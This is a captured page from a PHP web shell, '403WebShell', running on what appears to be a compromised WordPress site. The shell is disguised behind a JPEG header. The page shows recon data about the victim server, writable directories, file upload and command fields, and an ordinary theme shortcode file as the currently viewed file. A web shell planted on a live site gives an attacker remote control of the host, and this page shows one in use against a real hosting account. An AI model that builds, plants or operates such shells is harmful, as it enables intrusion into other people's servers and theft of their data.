????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/eaabusiness.com/wp-content/themes/globeco/vc/theme_shortcodes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/eaabusiness.com/wp-content/themes/globeco/vc/theme_shortcodes/cws_sc_milestone.php
<?php
	// Map Shortcode in Visual Composer
	global $cws_theme_funcs;
	$first_color 			= $cws_theme_funcs->cws_get_option( 'theme-first-color' );
	$icon_params 			= cws_ext_icon_vc_sc_config_params();	
	$params 				= cws_ext_merge_arrs( array(
		array(
            array(
                "type"			=> "dropdown",
                "heading"		=> esc_html__( 'Shortcode Style', 'globeco' ),
                "param_name"	=> "shortcode_style",
                "value"			=> array(
                    esc_html__( 'Default', 'globeco' )			 => 'default',
                    esc_html__( 'Advanced', 'globeco' )			 => 'advanced',
                    esc_html__( 'Vertical Divider', 'globeco' )	 => 'vertical',
                )
            ),
			array(
				"type"			=> "textfield",
				"admin_label"	=> true,
				"heading"		=> esc_html__( 'Title', 'globeco' ),
				"param_name"	=> "title",
			),
            array(
                "type"			=> "textfield",
                "heading"		=> esc_html__( 'Title Index', 'globeco' ),
                "param_name"	=> "title_index",
                "value"			=> "",
                "dependency"	=> array(
                    "element"	=> "shortcode_style",
                    "value"	    => array('vertical'),
                ),
            ),
            array(
                "type"			=> "dropdown",
                "heading"		=> esc_html__( 'Title Position', 'globeco' ),
                "param_name"	=> "title_pos",
                "value"			=> array(
                    esc_html__( 'Above the Number', 'globeco' )			=> 'above',
                    esc_html__( 'Under the Number', 'globeco' )			=> 'under',
                )
            ),
			array(
				"type"			=> "textfield",
				"heading"		=> esc_html__( 'Description', 'globeco' ),
				"param_name"	=> "desc",
			),
			array(
				"type"			=> "textfield",
				"heading"		=> esc_html__( 'Number', 'globeco' ),
				"description"	=> esc_html__( 'Integer', 'globeco' ),
				"param_name"	=> "number",
				"value"			=> "100",
				"save_always"	=> true
			),
			array(
				"type"			=> "textfield",
				"heading"		=> esc_html__( 'Speed', 'globeco' ),
				"description"	=> esc_html__( 'Integer', 'globeco' ),
				"param_name"	=> "speed",
				"value"			=> "2000",
				"save_always"	=> true
			),
			array(
				"type"			=> "dropdown",
				"heading"		=> esc_html__( 'Module Alignment', 'globeco' ),
				"param_name"	=> "module_alignment",
				"value"			=> array(
					esc_html__( 'Center', 'globeco' )	=> 'center',
					esc_html__( 'Left', 'globeco' )	=> 'left',
					esc_html__( 'Right', 'globeco' )	=> 'right'
				) 
			),
            array(
                "type"			=> "checkbox",
                "param_name"	=> "mobile_center",
                "value"			=> array( esc_html__( 'Center on Mobile', 'globeco' ) => true )
            ),
		),
		$icon_params,
		array(
			array(
				"type"			=> "dropdown",
				"heading"		=> esc_html__( 'Icon Size', 'globeco' ),
				"param_name"	=> "size",
				"value"			=> array(
					esc_html__( 'Medium', 'globeco' )			=> '3x',
					esc_html__( 'Mini', 'globeco' )			=> 'lg',
					esc_html__( 'Small', 'globeco' )			=> '2x',
					esc_html__( 'Large', 'globeco' )			=> '4x',
					esc_html__( 'Extra Large', 'globeco' )	=> '5x',
				)
			),
			array(
				"type"			=> "dropdown",
				"heading"		=> esc_html__( 'Icon Position', 'globeco' ),
				"param_name"	=> "icon_pos",
				"value"			=> array(
					esc_html__( 'Left', 'globeco' )		=> 'left',
					esc_html__( 'Center', 'globeco' )	=> 'center',
					esc_html__( 'Right', 'globeco' )	=> 'right'
				),
                "dependency"	=> array(
                    "element"	=> "shortcode_style",
                    "value"	    => array(
                        'default'
                    )
                ),
			),
			array(
				"type"			=> "checkbox",
				"param_name"	=> "center_divider",
				"value"			=> array( esc_html__( 'Add Divider', 'globeco' ) => true )
			),
			array(
				"type"			=> "checkbox",
				"param_name"	=> "side_divider",
				"value"			=> array( esc_html__( 'Add Right Line', 'globeco' ) => true )
			),
            array(
                "type"			=> "textfield",
                "heading"		=> esc_html__( 'Block Padding', 'globeco' ),
                "description"	=> esc_html__( '1, 2( top/bottom, left/right ) or 4, space separated, values with units', 'globeco' ),
                "param_name"	=> "block_padding",
                "value"			=> "0px 0px"
            ),
			array(
				"type"			=> "checkbox",
				"param_name"	=> "custom_size_i",
				"value"			=> array( esc_html__( 'Customize Sizes', 'globeco' ) => true )
			),
			array(
				"type"			=> "textfield",
				"heading"		=> esc_html__( 'Icon Size', 'globeco' ),
				"param_name"	=> "size_i",
				"value"			=> "48px",
                "dependency"	=> array(
                    "element"	=> "custom_size_i",
                    "not_empty"	=> true
                ),
			),
            array(
                "type"			=> "textfield",
                "heading"		=> esc_html__( 'Counter Font Size', 'globeco' ),
                "param_name"	=> "counter_size",
                "value"			=> "45px",
                "dependency"	=> array(
                    "element"	=> "custom_size_i",
                    "not_empty"	=> true
                ),
            ),
            array(
                "type"			=> "textfield",
                "heading"		=> esc_html__( 'Title Size', 'globeco' ),
                "param_name"	=> "title_size",
                "value"			=> "14px",
                "dependency"	=> array(
                    "element"	=> "custom_size_i",
                    "not_empty"	=> true
                ),
            ),
			array(
				"type"			=> "checkbox",
				"param_name"	=> "custom_color",
				"value"			=> array( esc_html__( 'Customize Colors', 'globeco' ) => true )
			),
			array(
				"type"			=> "colorpicker",
				"heading"		=> esc_html__( 'Icon Color', 'globeco' ),
				"param_name"	=> "icon_color",
				"dependency"	=> array(
					"element"	=> "custom_color",
					"not_empty"	=> true
				),
				"value"			=> $first_color
			),
			array(
				"type"			=> "colorpicker",
				"heading"		=> esc_html__( 'Title Color', 'globeco' ),
				"param_name"	=> "title_color",
				"dependency"	=> array(
					"element"	=> "custom_color",
					"not_empty"	=> true
				),
				"value"			=> $first_color
			),
			array(
				"type"			=> "colorpicker",
				"heading"		=> esc_html__( 'Divider Color', 'globeco' ),
				"param_name"	=> "divider_color",
				"dependency"	=> array(
					"element"	=> "custom_color",
					"not_empty"	=> true
				),
				"value"			=> $first_color
			),
			array(
				"type"			=> "colorpicker",
				"heading"		=> esc_html__( 'Text Color', 'globeco' ),
				"param_name"	=> "text_color",
				"dependency"	=> array(
					"element"	=> "custom_color",
					"not_empty"	=> true
				),
				"value"			=> $first_color
			),
			array(
				"type"			=> "colorpicker",
				"heading"		=> esc_html__( 'Number Color', 'globeco' ),
				"param_name"	=> "number_color",
				"dependency"	=> array(
					"element"	=> "custom_color",
					"not_empty"	=> true
				),
				"value"			=> $first_color
			),
			array(
				"type"				=> "textfield",
				"heading"			=> esc_html__( 'Extra class name', 'globeco' ),
				"description"		=> esc_html__( 'If you wish to style particular content element differently, then use this field to add a class name and then refer to it in your css file.', 'globeco' ),
				"param_name"		=> "el_class",
				"value"				=> ""
			)
		)
	));
	vc_map( array(
		"name"				=> esc_html__( 'CWS Milestone', 'globeco' ),
		"base"				=> "cws_sc_milestone",
		'category'			=> "By CWS",
		"icon"     			=> "cws_icon",
		"weight"			=> 80,
		"params"			=> $params
	));

	if ( class_exists( 'WPBakeryShortCode' ) ) {
	    class WPBakeryShortCode_CWS_Sc_Milestone extends WPBakeryShortCode {
	    }
	}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit